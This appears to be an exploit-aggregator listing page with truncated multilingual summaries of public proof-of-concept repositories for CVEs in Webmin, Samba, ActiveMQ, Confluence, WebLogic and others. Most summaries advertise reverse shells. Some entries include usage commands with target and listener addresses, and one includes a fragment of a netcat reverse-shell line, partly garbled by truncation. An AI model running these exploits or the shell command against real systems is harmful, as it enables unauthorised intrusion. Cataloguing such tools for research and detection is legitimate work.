cve-2015-1538-1

Вот скрипт на Python, который генерирует MP4-файл, эксплуатирующий уязвимость «stsc», также известную как CVE-2015-1538 1. Это одна из самых критических уязвимостей, которые я сообщил в библиотеке Stagefright. Ожидаемый результат эксплуатации — обратный shell от имени пользователя media. Как...

strapi_cms_3.0.0-beta.17.7

Strapi CMS CVE-2019-18818 и 19606 Слепое удаленное выполнение кода Strapi CMS версии 3.0.0-beta.17.7 и ранее для получения обратной оболочки Начало работы Запуск программы Используя python3 root@kitploit: python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost...

webmin_1.920

CVE-2019-15107 Webmin 1.920 Exécution de commandes à distance non authentifiée Un script python3 pour l'exécution de commandes à distance non authentifiée CVE-2019-15107 Webmin 1.920 qui crée un reverse shell ou un pseudo shell interactif en utilisant mkfifo pour le contournement du pare-feuUn...

CVE-2022-46169

CVE-2022-46169 POC Ceci est un script de preuve de concept POC pour la vulnérabilité CVE-2022-46169 qui affecte Cacti version 1.2.22. Description La vulnérabilité CVE-2022-46169 permet une injection de commande sans authentification dans les versions de Cacti jusqu'à la 1.2.22, permettant une...

CVE-2019-15107

CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ Un problème a été découvert dans Webmin =1.920. Les paramètres "old" et "expire" dans passwordchange.cgi contiennent une vulnérabilité d'injection de commandes. Utilisation 1. Démarrer un listener sur la boîte rouge. root@kitploit:...

postshell

PostShell PostShell est un shell de post-exploitation qui inclut à la fois un shell bind et un shell de back connect. Il crée un TTY entièrement interactif permettant le contrôle des tâches. La taille du stub est d'environ 14 Ko et peut être compilé sur tout système de type Unix. Captures d'écran...

CVE-2024-24590

Exploitation ClearML Ce dépôt contient une preuve de concept d'exploitation pour une vulnérabilité de désérialisation dans ClearML, permettant l'exécution de commandes à distance. Cette exploitation démontre comment télécharger un artefact pickle malveillant vers ClearML pour obtenir un shell...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE Данный репозиторий содержит мой эксплойт для уязвимости удаленного выполнения кода RCE в Adobe ColdFusion 2018. Описание эксплойта Эксплойт отправляет POST-запрос, содержащий JSP-обратную оболочку, на...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Utilisation root@kitploit: Exploiter la cible 10.129.232.46 sur le port 445, envoyer un shell inversé vers 10.10.14.82 sur le port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 Avec rport et lport personnalisés pytho...

cve-2018-2628

cve-2018-2628 cve-2018-2628 реверс-шелл Статья https://pi.wrysunnylove.cn/archives/58...

CVE-2018-9276

CVE-2018-9276 PRTG 18.2.39 Injection de commande authentifiée Reverse Shell https://nvd.nist.gov/vuln/detail/CVE-2018-9276 Version améliorée d'un exploit écrit par https://github.com/M4LV0. J'ai utilisé les données POST de leur script mais je l'ai rendu plus fiable car je n'avais pas eu beaucoup ...

CVE-2024-2389

Progress Kemp Flowmon CVE-2024-2389 Описание Этот репозиторий содержит скрипт на Python для эксплуатации уязвимости в Flowmon, позволяющей получить обратную оболочку на целевой системе. Эксплойт использует недостаток в эндпоинте service.pdfs/confluence для выполнения произвольных команд на сервер...

cve-2023-46604

Apache ActiveMQ CVE-2023-46604 CVE-2023-46604 — широко эксплуатируемая уязвимость, фигурирующая в списке KEV от CISA. Данная реализация эксплойта на Go позволяет выполнить reverse shell на целевой системе с использованием Nashorn-пейлоада или загрузить бинарный файл на цель и запустить его. Сборк...

cve-2023-22527

Exécution de code arbitraire dans la mémoire de Confluence CVE-2023-22527 est une vulnérabilité largement connue affectant Atlassian Confluence. La plupart des exploits pour cette vulnérabilité utilisent freemarker.template.utility.Execute pour exécuter une commande système, mais ils peuvent fair...

CVE-2019-2729

CVE-2019-2729 Эксплойт для CVE-2019-2729 Oracle Weblogic, работающий на Windows. Может создать обратный вызов к слушателю CobaltStrike или обработчику Metasploit с полезной нагрузкой windows/meterpreter/reversetcp Также имеется эксплойт non-beacon, который просто выполняет команды на базовом хост...

cve-2023-51467

Go-Exploit para CVE-2023-51467 Este repositorio contiene un go-exploit para Apache OFBiz CVE-2023-51467. La implementación incluye verificación del objetivo, un escáner de versiones y una reverse shell Nashorn en memoria como payload requiere que el Java en uso admita Nashorn. El proceso de...

CVE-2022-39952

CVE-2022-39952 PoC для CVE-2022-39952, затрагивающей Fortinet FortiNAC Конфигурация по умолчанию данного эксплойта создает задачу cron для организации обратной оболочки. Обязательно измените файл payload под ваше окружение. Технический анализ Технический анализ первопричины уязвимости и индикатор...

CVE-2022-22965-poc

CVE-2022-22965 poc CVE-2022-22965 poc, включающий reverse-shell и поддержку пароля. Смело добавляйте что-нибудь ещё : Как тестировать? root@kitploit: $ docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29 run vulnerable docker $ python3 exploit.py -c id --password 1234 --shellname big0us $...

CVE-2022-1388

CVE-2022-1388 RCE, обратная оболочка и автоматический экспорт PCAP -- ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ -- Автор не несёт ответственности за любые действия, совершённые с использованием данного проекта/репозитория. Я создал его для понимания атаки, а также для написания детектов в SIEM, и хочу...

CVE-2023-30547

CVE-2023-30547 Это Proof-of-Concept для CVE-2023-30547 https://nvd.nist.gov/vuln/detail/CVE-2023-30547. Я создал этот PoC во время CTF. Использование root@kitploit: CVE-2023-30547 PoC -h --url URL --lhost LHOST --lport LPORT PoC для уязвимости vm2 CVE-2023-30547 options: -h, --help показать это...